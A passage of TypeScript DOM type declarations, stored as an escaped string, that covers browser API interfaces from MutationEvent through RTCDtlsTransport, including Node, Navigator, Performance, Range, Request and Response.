readonly prevValue: string;\\n    readonly relatedNode: Node;\\n    initMutationEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, relatedNodeArg: Node, prevValueArg: string, newValueArg: string, attrNameArg: string, attrChangeArg: number): void;\\n    readonly ADDITION: number;\\n    readonly MODIFICATION: number;\\n    readonly REMOVAL: number;\\n}\\n\\ndeclare var MutationEvent: {\\n    prototype: MutationEvent;\\n    new(): MutationEvent;\\n    readonly ADDITION: number;\\n    readonly MODIFICATION: number;\\n    readonly REMOVAL: number;\\n};\\n\\ninterface MutationObserver {\\n    disconnect(): void;\\n    observe(target: Node, options: MutationObserverInit): void;\\n    takeRecords(): MutationRecord[];\\n}\\n\\ndeclare var MutationObserver: {\\n    prototype: MutationObserver;\\n    new(callback: MutationCallback): MutationObserver;\\n};\\n\\ninterface MutationRecord {\\n    readonly addedNodes: NodeList;\\n    readonly attributeName: string | null;\\n    readonly attributeNamespace: string | null;\\n    readonly nextSibling: Node | null;\\n    readonly oldValue: string | null;\\n    readonly previousSibling: Node | null;\\n    readonly removedNodes: NodeList;\\n    readonly target: Node;\\n    readonly type: string;\\n}\\n\\ndeclare var MutationRecord: {\\n    prototype: MutationRecord;\\n    new(): MutationRecord;\\n};\\n\\ninterface NamedNodeMap {\\n    readonly length: number;\\n    getNamedItem(name: string): Attr;\\n    getNamedItemNS(namespaceURI: string | null, localName: string | null): Attr;\\n    item(index: number): Attr;\\n    removeNamedItem(name: string): Attr;\\n    removeNamedItemNS(namespaceURI: string | null, localName: string | null): Attr;\\n    setNamedItem(arg: Attr): Attr;\\n    setNamedItemNS(arg: Attr): Attr;\\n    [index: number]: Attr;\\n}\\n\\ndeclare var NamedNodeMap: {\\n    prototype: NamedNodeMap;\\n    new(): NamedNodeMap;\\n};\\n\\ninterface NavigationCompletedEvent extends NavigationEvent {\\n    readonly isSuccess: boolean;\\n    readonly webErrorStatus: number;\\n}\\n\\ndeclare var NavigationCompletedEvent: {\\n    prototype: NavigationCompletedEvent;\\n    new(): NavigationCompletedEvent;\\n};\\n\\ninterface NavigationEvent extends Event {\\n    readonly uri: string;\\n}\\n\\ndeclare var NavigationEvent: {\\n    prototype: NavigationEvent;\\n    new(): NavigationEvent;\\n};\\n\\ninterface NavigationEventWithReferrer extends NavigationEvent {\\n    readonly referer: string;\\n}\\n\\ndeclare var NavigationEventWithReferrer: {\\n    prototype: NavigationEventWithReferrer;\\n    new(): NavigationEventWithReferrer;\\n};\\n\\ninterface Navigator extends Object, NavigatorID, NavigatorOnLine, NavigatorContentUtils, NavigatorStorageUtils, NavigatorGeolocation, MSNavigatorDoNotTrack, MSFileSaver, NavigatorBeacon, NavigatorConcurrentHardware, NavigatorUserMedia {\\n    readonly authentication: WebAuthentication;\\n    readonly cookieEnabled: boolean;\\n    gamepadInputEmulation: GamepadInputEmulationType;\\n    readonly language: string;\\n    readonly maxTouchPoints: number;\\n    readonly mimeTypes: MimeTypeArray;\\n    readonly msManipulationViewsEnabled: boolean;\\n    readonly msMaxTouchPoints: number;\\n    readonly msPointerEnabled: boolean;\\n    readonly plugins: PluginArray;\\n    readonly pointerEnabled: boolean;\\n    readonly serviceWorker: ServiceWorkerContainer;\\n    readonly webdriver: boolean;\\n    readonly hardwareConcurrency: number;\\n    readonly languages: string[];\\n    getGamepads(): Gamepad[];\\n    javaEnabled(): boolean;\\n    msLaunchUri(uri: string, successCallback?: MSLaunchUriCallback, noHandlerCallback?: MSLaunchUriCallback): void;\\n    requestMediaKeySystemAccess(keySystem: string, supportedConfigurations: MediaKeySystemConfiguration[]): Promise<MediaKeySystemAccess>;\\n    vibrate(pattern: number | number[]): boolean;\\n}\\n\\ndeclare var Navigator: {\\n    prototype: Navigator;\\n    new(): Navigator;\\n};\\n\\ninterface Node extends EventTarget {\\n    readonly attributes: NamedNodeMap;\\n    readonly baseURI: string | null;\\n    readonly childNodes: NodeList;\\n    readonly firstChild: Node | null;\\n    readonly lastChild: Node | null;\\n    readonly localName: string | null;\\n    readonly namespaceURI: string | null;\\n    readonly nextSibling: Node | null;\\n    readonly nodeName: string;\\n    readonly nodeType: number;\\n    nodeValue: string | null;\\n    readonly ownerDocument: Document;\\n    readonly parentElement: HTMLElement | null;\\n    readonly parentNode: Node | null;\\n    readonly previousSibling: Node | null;\\n    textContent: string | null;\\n    appendChild<T extends Node>(newChild: T): T;\\n    cloneNode(deep?: boolean): Node;\\n    compareDocumentPosition(other: Node): number;\\n    contains(child: Node): boolean;\\n    hasAttributes(): boolean;\\n    hasChildNodes(): boolean;\\n    insertBefore<T extends Node>(newChild: T, refChild: Node | null): T;\\n    isDefaultNamespace(namespaceURI: string | null): boolean;\\n    isEqualNode(arg: Node): boolean;\\n    isSameNode(other: Node): boolean;\\n    lookupNamespaceURI(prefix: string | null): string | null;\\n    lookupPrefix(namespaceURI: string | null): string | null;\\n    normalize(): void;\\n    removeChild<T extends Node>(oldChild: T): T;\\n    replaceChild<T extends Node>(newChild: Node, oldChild: T): T;\\n    readonly ATTRIBUTE_NODE: number;\\n    readonly CDATA_SECTION_NODE: number;\\n    readonly COMMENT_NODE: number;\\n    readonly DOCUMENT_FRAGMENT_NODE: number;\\n    readonly DOCUMENT_NODE: number;\\n    readonly DOCUMENT_POSITION_CONTAINED_BY: number;\\n    readonly DOCUMENT_POSITION_CONTAINS: number;\\n    readonly DOCUMENT_POSITION_DISCONNECTED: number;\\n    readonly DOCUMENT_POSITION_FOLLOWING: number;\\n    readonly DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC: number;\\n    readonly DOCUMENT_POSITION_PRECEDING: number;\\n    readonly DOCUMENT_TYPE_NODE: number;\\n    readonly ELEMENT_NODE: number;\\n    readonly ENTITY_NODE: number;\\n    readonly ENTITY_REFERENCE_NODE: number;\\n    readonly NOTATION_NODE: number;\\n    readonly PROCESSING_INSTRUCTION_NODE: number;\\n    readonly TEXT_NODE: number;\\n}\\n\\ndeclare var Node: {\\n    prototype: Node;\\n    new(): Node;\\n    readonly ATTRIBUTE_NODE: number;\\n    readonly CDATA_SECTION_NODE: number;\\n    readonly COMMENT_NODE: number;\\n    readonly DOCUMENT_FRAGMENT_NODE: number;\\n    readonly DOCUMENT_NODE: number;\\n    readonly DOCUMENT_POSITION_CONTAINED_BY: number;\\n    readonly DOCUMENT_POSITION_CONTAINS: number;\\n    readonly DOCUMENT_POSITION_DISCONNECTED: number;\\n    readonly DOCUMENT_POSITION_FOLLOWING: number;\\n    readonly DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC: number;\\n    readonly DOCUMENT_POSITION_PRECEDING: number;\\n    readonly DOCUMENT_TYPE_NODE: number;\\n    readonly ELEMENT_NODE: number;\\n    readonly ENTITY_NODE: number;\\n    readonly ENTITY_REFERENCE_NODE: number;\\n    readonly NOTATION_NODE: number;\\n    readonly PROCESSING_INSTRUCTION_NODE: number;\\n    readonly TEXT_NODE: number;\\n};\\n\\ninterface NodeFilter {\\n    acceptNode(n: Node): number;\\n}\\n\\ndeclare var NodeFilter: {\\n    readonly FILTER_ACCEPT: number;\\n    readonly FILTER_REJECT: number;\\n    readonly FILTER_SKIP: number;\\n    readonly SHOW_ALL: number;\\n    readonly SHOW_ATTRIBUTE: number;\\n    readonly SHOW_CDATA_SECTION: number;\\n    readonly SHOW_COMMENT: number;\\n    readonly SHOW_DOCUMENT: number;\\n    readonly SHOW_DOCUMENT_FRAGMENT: number;\\n    readonly SHOW_DOCUMENT_TYPE: number;\\n    readonly SHOW_ELEMENT: number;\\n    readonly SHOW_ENTITY: number;\\n    readonly SHOW_ENTITY_REFERENCE: number;\\n    readonly SHOW_NOTATION: number;\\n    readonly SHOW_PROCESSING_INSTRUCTION: number;\\n    readonly SHOW_TEXT: number;\\n};\\n\\ninterface NodeIterator {\\n    readonly expandEntityReferences: boolean;\\n    readonly filter: NodeFilter;\\n    readonly root: Node;\\n    readonly whatToShow: number;\\n    detach(): void;\\n    nextNode(): Node;\\n    previousNode(): Node;\\n}\\n\\ndeclare var NodeIterator: {\\n    prototype: NodeIterator;\\n    new(): NodeIterator;\\n};\\n\\ninterface NodeList {\\n    readonly length: number;\\n    item(index: number): Node;\\n    [index: number]: Node;\\n}\\n\\ndeclare var NodeList: {\\n    prototype: NodeList;\\n    new(): NodeList;\\n};\\n\\ninterface NotificationEventMap {\\n    \"click\": Event;\\n    \"close\": Event;\\n    \"error\": Event;\\n    \"show\": Event;\\n}\\n\\ninterface Notification extends EventTarget {\\n    readonly body: string;\\n    readonly dir: NotificationDirection;\\n    readonly icon: string;\\n    readonly lang: string;\\n    onclick: (this: Notification, ev: Event) => any;\\n    onclose: (this: Notification, ev: Event) => any;\\n    onerror: (this: Notification, ev: Event) => any;\\n    onshow: (this: Notification, ev: Event) => any;\\n    readonly permission: NotificationPermission;\\n    readonly tag: string;\\n    readonly title: string;\\n    close(): void;\\n    addEventListener<K extends keyof NotificationEventMap>(type: K, listener: (this: Notification, ev: NotificationEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var Notification: {\\n    prototype: Notification;\\n    new(title: string, options?: NotificationOptions): Notification;\\n    requestPermission(callback?: NotificationPermissionCallback): Promise<NotificationPermission>;\\n};\\n\\ninterface OES_element_index_uint {\\n}\\n\\ndeclare var OES_element_index_uint: {\\n    prototype: OES_element_index_uint;\\n    new(): OES_element_index_uint;\\n};\\n\\ninterface OES_standard_derivatives {\\n    readonly FRAGMENT_SHADER_DERIVATIVE_HINT_OES: number;\\n}\\n\\ndeclare var OES_standard_derivatives: {\\n    prototype: OES_standard_derivatives;\\n    new(): OES_standard_derivatives;\\n    readonly FRAGMENT_SHADER_DERIVATIVE_HINT_OES: number;\\n};\\n\\ninterface OES_texture_float {\\n}\\n\\ndeclare var OES_texture_float: {\\n    prototype: OES_texture_float;\\n    new(): OES_texture_float;\\n};\\n\\ninterface OES_texture_float_linear {\\n}\\n\\ndeclare var OES_texture_float_linear: {\\n    prototype: OES_texture_float_linear;\\n    new(): OES_texture_float_linear;\\n};\\n\\ninterface OES_texture_half_float {\\n    readonly HALF_FLOAT_OES: number;\\n}\\n\\ndeclare var OES_texture_half_float: {\\n    prototype: OES_texture_half_float;\\n    new(): OES_texture_half_float;\\n    readonly HALF_FLOAT_OES: number;\\n};\\n\\ninterface OES_texture_half_float_linear {\\n}\\n\\ndeclare var OES_texture_half_float_linear: {\\n    prototype: OES_texture_half_float_linear;\\n    new(): OES_texture_half_float_linear;\\n};\\n\\ninterface OfflineAudioCompletionEvent extends Event {\\n    readonly renderedBuffer: AudioBuffer;\\n}\\n\\ndeclare var OfflineAudioCompletionEvent: {\\n    prototype: OfflineAudioCompletionEvent;\\n    new(): OfflineAudioCompletionEvent;\\n};\\n\\ninterface OfflineAudioContextEventMap extends AudioContextEventMap {\\n    \"complete\": OfflineAudioCompletionEvent;\\n}\\n\\ninterface OfflineAudioContext extends AudioContextBase {\\n    readonly length: number;\\n    oncomplete: (this: OfflineAudioContext, ev: OfflineAudioCompletionEvent) => any;\\n    startRendering(): Promise<AudioBuffer>;\\n    suspend(suspendTime: number): Promise<void>;\\n    addEventListener<K extends keyof OfflineAudioContextEventMap>(type: K, listener: (this: OfflineAudioContext, ev: OfflineAudioContextEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var OfflineAudioContext: {\\n    prototype: OfflineAudioContext;\\n    new(numberOfChannels: number, length: number, sampleRate: number): OfflineAudioContext;\\n};\\n\\ninterface OscillatorNodeEventMap {\\n    \"ended\": MediaStreamErrorEvent;\\n}\\n\\ninterface OscillatorNode extends AudioNode {\\n    readonly detune: AudioParam;\\n    readonly frequency: AudioParam;\\n    onended: (this: OscillatorNode, ev: MediaStreamErrorEvent) => any;\\n    type: OscillatorType;\\n    setPeriodicWave(periodicWave: PeriodicWave): void;\\n    start(when?: number): void;\\n    stop(when?: number): void;\\n    addEventListener<K extends keyof OscillatorNodeEventMap>(type: K, listener: (this: OscillatorNode, ev: OscillatorNodeEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var OscillatorNode: {\\n    prototype: OscillatorNode;\\n    new(): OscillatorNode;\\n};\\n\\ninterface OverflowEvent extends UIEvent {\\n    readonly horizontalOverflow: boolean;\\n    readonly orient: number;\\n    readonly verticalOverflow: boolean;\\n    readonly BOTH: number;\\n    readonly HORIZONTAL: number;\\n    readonly VERTICAL: number;\\n}\\n\\ndeclare var OverflowEvent: {\\n    prototype: OverflowEvent;\\n    new(): OverflowEvent;\\n    readonly BOTH: number;\\n    readonly HORIZONTAL: number;\\n    readonly VERTICAL: number;\\n};\\n\\ninterface PageTransitionEvent extends Event {\\n    readonly persisted: boolean;\\n}\\n\\ndeclare var PageTransitionEvent: {\\n    prototype: PageTransitionEvent;\\n    new(): PageTransitionEvent;\\n};\\n\\ninterface PannerNode extends AudioNode {\\n    coneInnerAngle: number;\\n    coneOuterAngle: number;\\n    coneOuterGain: number;\\n    distanceModel: DistanceModelType;\\n    maxDistance: number;\\n    panningModel: PanningModelType;\\n    refDistance: number;\\n    rolloffFactor: number;\\n    setOrientation(x: number, y: number, z: number): void;\\n    setPosition(x: number, y: number, z: number): void;\\n    setVelocity(x: number, y: number, z: number): void;\\n}\\n\\ndeclare var PannerNode: {\\n    prototype: PannerNode;\\n    new(): PannerNode;\\n};\\n\\ninterface Path2D extends Object, CanvasPathMethods {\\n}\\n\\ndeclare var Path2D: {\\n    prototype: Path2D;\\n    new(path?: Path2D): Path2D;\\n};\\n\\ninterface PaymentAddress {\\n    readonly addressLine: string[];\\n    readonly city: string;\\n    readonly country: string;\\n    readonly dependentLocality: string;\\n    readonly languageCode: string;\\n    readonly organization: string;\\n    readonly phone: string;\\n    readonly postalCode: string;\\n    readonly recipient: string;\\n    readonly region: string;\\n    readonly sortingCode: string;\\n    toJSON(): any;\\n}\\n\\ndeclare var PaymentAddress: {\\n    prototype: PaymentAddress;\\n    new(): PaymentAddress;\\n};\\n\\ninterface PaymentRequestEventMap {\\n    \"shippingaddresschange\": Event;\\n    \"shippingoptionchange\": Event;\\n}\\n\\ninterface PaymentRequest extends EventTarget {\\n    onshippingaddresschange: (this: PaymentRequest, ev: Event) => any;\\n    onshippingoptionchange: (this: PaymentRequest, ev: Event) => any;\\n    readonly shippingAddress: PaymentAddress | null;\\n    readonly shippingOption: string | null;\\n    readonly shippingType: PaymentShippingType | null;\\n    abort(): Promise<void>;\\n    show(): Promise<PaymentResponse>;\\n    addEventListener<K extends keyof PaymentRequestEventMap>(type: K, listener: (this: PaymentRequest, ev: PaymentRequestEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var PaymentRequest: {\\n    prototype: PaymentRequest;\\n    new(methodData: PaymentMethodData[], details: PaymentDetails, options?: PaymentOptions): PaymentRequest;\\n};\\n\\ninterface PaymentRequestUpdateEvent extends Event {\\n    updateWith(d: Promise<PaymentDetails>): void;\\n}\\n\\ndeclare var PaymentRequestUpdateEvent: {\\n    prototype: PaymentRequestUpdateEvent;\\n    new(type: string, eventInitDict?: PaymentRequestUpdateEventInit): PaymentRequestUpdateEvent;\\n};\\n\\ninterface PaymentResponse {\\n    readonly details: any;\\n    readonly methodName: string;\\n    readonly payerEmail: string | null;\\n    readonly payerName: string | null;\\n    readonly payerPhone: string | null;\\n    readonly shippingAddress: PaymentAddress | null;\\n    readonly shippingOption: string | null;\\n    complete(result?: PaymentComplete): Promise<void>;\\n    toJSON(): any;\\n}\\n\\ndeclare var PaymentResponse: {\\n    prototype: PaymentResponse;\\n    new(): PaymentResponse;\\n};\\n\\ninterface Performance {\\n    readonly navigation: PerformanceNavigation;\\n    readonly timing: PerformanceTiming;\\n    clearMarks(markName?: string): void;\\n    clearMeasures(measureName?: string): void;\\n    clearResourceTimings(): void;\\n    getEntries(): any;\\n    getEntriesByName(name: string, entryType?: string): any;\\n    getEntriesByType(entryType: string): any;\\n    getMarks(markName?: string): any;\\n    getMeasures(measureName?: string): any;\\n    mark(markName: string): void;\\n    measure(measureName: string, startMarkName?: string, endMarkName?: string): void;\\n    now(): number;\\n    setResourceTimingBufferSize(maxSize: number): void;\\n    toJSON(): any;\\n}\\n\\ndeclare var Performance: {\\n    prototype: Performance;\\n    new(): Performance;\\n};\\n\\ninterface PerformanceEntry {\\n    readonly duration: number;\\n    readonly entryType: string;\\n    readonly name: string;\\n    readonly startTime: number;\\n}\\n\\ndeclare var PerformanceEntry: {\\n    prototype: PerformanceEntry;\\n    new(): PerformanceEntry;\\n};\\n\\ninterface PerformanceMark extends PerformanceEntry {\\n}\\n\\ndeclare var PerformanceMark: {\\n    prototype: PerformanceMark;\\n    new(): PerformanceMark;\\n};\\n\\ninterface PerformanceMeasure extends PerformanceEntry {\\n}\\n\\ndeclare var PerformanceMeasure: {\\n    prototype: PerformanceMeasure;\\n    new(): PerformanceMeasure;\\n};\\n\\ninterface PerformanceNavigation {\\n    readonly redirectCount: number;\\n    readonly type: number;\\n    toJSON(): any;\\n    readonly TYPE_BACK_FORWARD: number;\\n    readonly TYPE_NAVIGATE: number;\\n    readonly TYPE_RELOAD: number;\\n    readonly TYPE_RESERVED: number;\\n}\\n\\ndeclare var PerformanceNavigation: {\\n    prototype: PerformanceNavigation;\\n    new(): PerformanceNavigation;\\n    readonly TYPE_BACK_FORWARD: number;\\n    readonly TYPE_NAVIGATE: number;\\n    readonly TYPE_RELOAD: number;\\n    readonly TYPE_RESERVED: number;\\n};\\n\\ninterface PerformanceNavigationTiming extends PerformanceEntry {\\n    readonly connectEnd: number;\\n    readonly connectStart: number;\\n    readonly domainLookupEnd: number;\\n    readonly domainLookupStart: number;\\n    readonly domComplete: number;\\n    readonly domContentLoadedEventEnd: number;\\n    readonly domContentLoadedEventStart: number;\\n    readonly domInteractive: number;\\n    readonly domLoading: number;\\n    readonly fetchStart: number;\\n    readonly loadEventEnd: number;\\n    readonly loadEventStart: number;\\n    readonly navigationStart: number;\\n    readonly redirectCount: number;\\n    readonly redirectEnd: number;\\n    readonly redirectStart: number;\\n    readonly requestStart: number;\\n    readonly responseEnd: number;\\n    readonly responseStart: number;\\n    readonly type: NavigationType;\\n    readonly unloadEventEnd: number;\\n    readonly unloadEventStart: number;\\n}\\n\\ndeclare var PerformanceNavigationTiming: {\\n    prototype: PerformanceNavigationTiming;\\n    new(): PerformanceNavigationTiming;\\n};\\n\\ninterface PerformanceResourceTiming extends PerformanceEntry {\\n    readonly connectEnd: number;\\n    readonly connectStart: number;\\n    readonly domainLookupEnd: number;\\n    readonly domainLookupStart: number;\\n    readonly fetchStart: number;\\n    readonly initiatorType: string;\\n    readonly redirectEnd: number;\\n    readonly redirectStart: number;\\n    readonly requestStart: number;\\n    readonly responseEnd: number;\\n    readonly responseStart: number;\\n}\\n\\ndeclare var PerformanceResourceTiming: {\\n    prototype: PerformanceResourceTiming;\\n    new(): PerformanceResourceTiming;\\n};\\n\\ninterface PerformanceTiming {\\n    readonly connectEnd: number;\\n    readonly connectStart: number;\\n    readonly domainLookupEnd: number;\\n    readonly domainLookupStart: number;\\n    readonly domComplete: number;\\n    readonly domContentLoadedEventEnd: number;\\n    readonly domContentLoadedEventStart: number;\\n    readonly domInteractive: number;\\n    readonly domLoading: number;\\n    readonly fetchStart: number;\\n    readonly loadEventEnd: number;\\n    readonly loadEventStart: number;\\n    readonly msFirstPaint: number;\\n    readonly navigationStart: number;\\n    readonly redirectEnd: number;\\n    readonly redirectStart: number;\\n    readonly requestStart: number;\\n    readonly responseEnd: number;\\n    readonly responseStart: number;\\n    readonly unloadEventEnd: number;\\n    readonly unloadEventStart: number;\\n    readonly secureConnectionStart: number;\\n    toJSON(): any;\\n}\\n\\ndeclare var PerformanceTiming: {\\n    prototype: PerformanceTiming;\\n    new(): PerformanceTiming;\\n};\\n\\ninterface PerfWidgetExternal {\\n    readonly activeNetworkRequestCount: number;\\n    readonly averageFrameTime: number;\\n    readonly averagePaintTime: number;\\n    readonly extraInformationEnabled: boolean;\\n    readonly independentRenderingEnabled: boolean;\\n    readonly irDisablingContentString: string;\\n    readonly irStatusAvailable: boolean;\\n    readonly maxCpuSpeed: number;\\n    readonly paintRequestsPerSecond: number;\\n    readonly performanceCounter: number;\\n    readonly performanceCounterFrequency: number;\\n    addEventListener(eventType: string, callback: Function): void;\\n    getMemoryUsage(): number;\\n    getProcessCpuUsage(): number;\\n    getRecentCpuUsage(last: number | null): any;\\n    getRecentFrames(last: number | null): any;\\n    getRecentMemoryUsage(last: number | null): any;\\n    getRecentPaintRequests(last: number | null): any;\\n    removeEventListener(eventType: string, callback: Function): void;\\n    repositionWindow(x: number, y: number): void;\\n    resizeWindow(width: number, height: number): void;\\n}\\n\\ndeclare var PerfWidgetExternal: {\\n    prototype: PerfWidgetExternal;\\n    new(): PerfWidgetExternal;\\n};\\n\\ninterface PeriodicWave {\\n}\\n\\ndeclare var PeriodicWave: {\\n    prototype: PeriodicWave;\\n    new(): PeriodicWave;\\n};\\n\\ninterface PermissionRequest extends DeferredPermissionRequest {\\n    readonly state: MSWebViewPermissionState;\\n    defer(): void;\\n}\\n\\ndeclare var PermissionRequest: {\\n    prototype: PermissionRequest;\\n    new(): PermissionRequest;\\n};\\n\\ninterface PermissionRequestedEvent extends Event {\\n    readonly permissionRequest: PermissionRequest;\\n}\\n\\ndeclare var PermissionRequestedEvent: {\\n    prototype: PermissionRequestedEvent;\\n    new(): PermissionRequestedEvent;\\n};\\n\\ninterface Plugin {\\n    readonly description: string;\\n    readonly filename: string;\\n    readonly length: number;\\n    readonly name: string;\\n    readonly version: string;\\n    item(index: number): MimeType;\\n    namedItem(type: string): MimeType;\\n    [index: number]: MimeType;\\n}\\n\\ndeclare var Plugin: {\\n    prototype: Plugin;\\n    new(): Plugin;\\n};\\n\\ninterface PluginArray {\\n    readonly length: number;\\n    item(index: number): Plugin;\\n    namedItem(name: string): Plugin;\\n    refresh(reload?: boolean): void;\\n    [index: number]: Plugin;\\n}\\n\\ndeclare var PluginArray: {\\n    prototype: PluginArray;\\n    new(): PluginArray;\\n};\\n\\ninterface PointerEvent extends MouseEvent {\\n    readonly currentPoint: any;\\n    readonly height: number;\\n    readonly hwTimestamp: number;\\n    readonly intermediatePoints: any;\\n    readonly isPrimary: boolean;\\n    readonly pointerId: number;\\n    readonly pointerType: any;\\n    readonly pressure: number;\\n    readonly rotation: number;\\n    readonly tiltX: number;\\n    readonly tiltY: number;\\n    readonly width: number;\\n    getCurrentPoint(element: Element): void;\\n    getIntermediatePoints(element: Element): void;\\n    initPointerEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, viewArg: Window, detailArg: number, screenXArg: number, screenYArg: number, clientXArg: number, clientYArg: number, ctrlKeyArg: boolean, altKeyArg: boolean, shiftKeyArg: boolean, metaKeyArg: boolean, buttonArg: number, relatedTargetArg: EventTarget, offsetXArg: number, offsetYArg: number, widthArg: number, heightArg: number, pressure: number, rotation: number, tiltX: number, tiltY: number, pointerIdArg: number, pointerType: any, hwTimestampArg: number, isPrimary: boolean): void;\\n}\\n\\ndeclare var PointerEvent: {\\n    prototype: PointerEvent;\\n    new(typeArg: string, eventInitDict?: PointerEventInit): PointerEvent;\\n};\\n\\ninterface PopStateEvent extends Event {\\n    readonly state: any;\\n    initPopStateEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, stateArg: any): void;\\n}\\n\\ndeclare var PopStateEvent: {\\n    prototype: PopStateEvent;\\n    new(typeArg: string, eventInitDict?: PopStateEventInit): PopStateEvent;\\n};\\n\\ninterface Position {\\n    readonly coords: Coordinates;\\n    readonly timestamp: number;\\n}\\n\\ndeclare var Position: {\\n    prototype: Position;\\n    new(): Position;\\n};\\n\\ninterface PositionError {\\n    readonly code: number;\\n    readonly message: string;\\n    toString(): string;\\n    readonly PERMISSION_DENIED: number;\\n    readonly POSITION_UNAVAILABLE: number;\\n    readonly TIMEOUT: number;\\n}\\n\\ndeclare var PositionError: {\\n    prototype: PositionError;\\n    new(): PositionError;\\n    readonly PERMISSION_DENIED: number;\\n    readonly POSITION_UNAVAILABLE: number;\\n    readonly TIMEOUT: number;\\n};\\n\\ninterface ProcessingInstruction extends CharacterData {\\n    readonly target: string;\\n}\\n\\ndeclare var ProcessingInstruction: {\\n    prototype: ProcessingInstruction;\\n    new(): ProcessingInstruction;\\n};\\n\\ninterface ProgressEvent extends Event {\\n    readonly lengthComputable: boolean;\\n    readonly loaded: number;\\n    readonly total: number;\\n    initProgressEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, lengthComputableArg: boolean, loadedArg: number, totalArg: number): void;\\n}\\n\\ndeclare var ProgressEvent: {\\n    prototype: ProgressEvent;\\n    new(type: string, eventInitDict?: ProgressEventInit): ProgressEvent;\\n};\\n\\ninterface PushManager {\\n    getSubscription(): Promise<PushSubscription>;\\n    permissionState(options?: PushSubscriptionOptionsInit): Promise<PushPermissionState>;\\n    subscribe(options?: PushSubscriptionOptionsInit): Promise<PushSubscription>;\\n}\\n\\ndeclare var PushManager: {\\n    prototype: PushManager;\\n    new(): PushManager;\\n};\\n\\ninterface PushSubscription {\\n    readonly endpoint: USVString;\\n    readonly options: PushSubscriptionOptions;\\n    getKey(name: PushEncryptionKeyName): ArrayBuffer | null;\\n    toJSON(): any;\\n    unsubscribe(): Promise<boolean>;\\n}\\n\\ndeclare var PushSubscription: {\\n    prototype: PushSubscription;\\n    new(): PushSubscription;\\n};\\n\\ninterface PushSubscriptionOptions {\\n    readonly applicationServerKey: ArrayBuffer | null;\\n    readonly userVisibleOnly: boolean;\\n}\\n\\ndeclare var PushSubscriptionOptions: {\\n    prototype: PushSubscriptionOptions;\\n    new(): PushSubscriptionOptions;\\n};\\n\\ninterface Range {\\n    readonly collapsed: boolean;\\n    readonly commonAncestorContainer: Node;\\n    readonly endContainer: Node;\\n    readonly endOffset: number;\\n    readonly startContainer: Node;\\n    readonly startOffset: number;\\n    cloneContents(): DocumentFragment;\\n    cloneRange(): Range;\\n    collapse(toStart: boolean): void;\\n    compareBoundaryPoints(how: number, sourceRange: Range): number;\\n    createContextualFragment(fragment: string): DocumentFragment;\\n    deleteContents(): void;\\n    detach(): void;\\n    expand(Unit: ExpandGranularity): boolean;\\n    extractContents(): DocumentFragment;\\n    getBoundingClientRect(): ClientRect;\\n    getClientRects(): ClientRectList;\\n    insertNode(newNode: Node): void;\\n    selectNode(refNode: Node): void;\\n    selectNodeContents(refNode: Node): void;\\n    setEnd(refNode: Node, offset: number): void;\\n    setEndAfter(refNode: Node): void;\\n    setEndBefore(refNode: Node): void;\\n    setStart(refNode: Node, offset: number): void;\\n    setStartAfter(refNode: Node): void;\\n    setStartBefore(refNode: Node): void;\\n    surroundContents(newParent: Node): void;\\n    toString(): string;\\n    readonly END_TO_END: number;\\n    readonly END_TO_START: number;\\n    readonly START_TO_END: number;\\n    readonly START_TO_START: number;\\n}\\n\\ndeclare var Range: {\\n    prototype: Range;\\n    new(): Range;\\n    readonly END_TO_END: number;\\n    readonly END_TO_START: number;\\n    readonly START_TO_END: number;\\n    readonly START_TO_START: number;\\n};\\n\\ninterface ReadableStream {\\n    readonly locked: boolean;\\n    cancel(): Promise<void>;\\n    getReader(): ReadableStreamReader;\\n}\\n\\ndeclare var ReadableStream: {\\n    prototype: ReadableStream;\\n    new(): ReadableStream;\\n};\\n\\ninterface ReadableStreamReader {\\n    cancel(): Promise<void>;\\n    read(): Promise<any>;\\n    releaseLock(): void;\\n}\\n\\ndeclare var ReadableStreamReader: {\\n    prototype: ReadableStreamReader;\\n    new(): ReadableStreamReader;\\n};\\n\\ninterface Request extends Object, Body {\\n    readonly cache: RequestCache;\\n    readonly credentials: RequestCredentials;\\n    readonly destination: RequestDestination;\\n    readonly headers: Headers;\\n    readonly integrity: string;\\n    readonly keepalive: boolean;\\n    readonly method: string;\\n    readonly mode: RequestMode;\\n    readonly redirect: RequestRedirect;\\n    readonly referrer: string;\\n    readonly referrerPolicy: ReferrerPolicy;\\n    readonly type: RequestType;\\n    readonly url: string;\\n    clone(): Request;\\n}\\n\\ndeclare var Request: {\\n    prototype: Request;\\n    new(input: Request | string, init?: RequestInit): Request;\\n};\\n\\ninterface Response extends Object, Body {\\n    readonly body: ReadableStream | null;\\n    readonly headers: Headers;\\n    readonly ok: boolean;\\n    readonly status: number;\\n    readonly statusText: string;\\n    readonly type: ResponseType;\\n    readonly url: string;\\n    clone(): Response;\\n}\\n\\ndeclare var Response: {\\n    prototype: Response;\\n    new(body?: any, init?: ResponseInit): Response;\\n    error: () => Response;\\n    redirect: (url: string, status?: number) => Response;\\n};\\n\\ninterface RTCDtlsTransportEventMap {\\n    \"dtlsstatechange\": RTCDtlsTransportStateChangedEvent;\\n    \"error\": Event;\\n}\\n\\ninterface RTCDtlsTransport extends RTCStatsProvider {\\n    ondtlsstatechange: ((this: RTCDtlsTransport, ev: RTCDtlsTransportStateChangedEvent) => any) | null;\\n    onerror: ((this: RTCDtlsTransport, ev: Event) => any) | null;\\n    readonly state: RTCDtlsTransportState;\\n    readonly transport: RTCIceTransport;\\n    getLocalParameters(): RTCDtlsParameters;\\n    getRemoteCertificates(): ArrayBuffer[];\\n    getRemoteParameters(): RTCDtlsParameters | null;\\n    start(remoteParameters: RTCDtlsParameters): void;\\n    stop(): void;\\n    addEventListener<K extends keyof RTCDtlsTransportEventMap>(type: K, listener: (this: RTCDtlsTransport, ev: 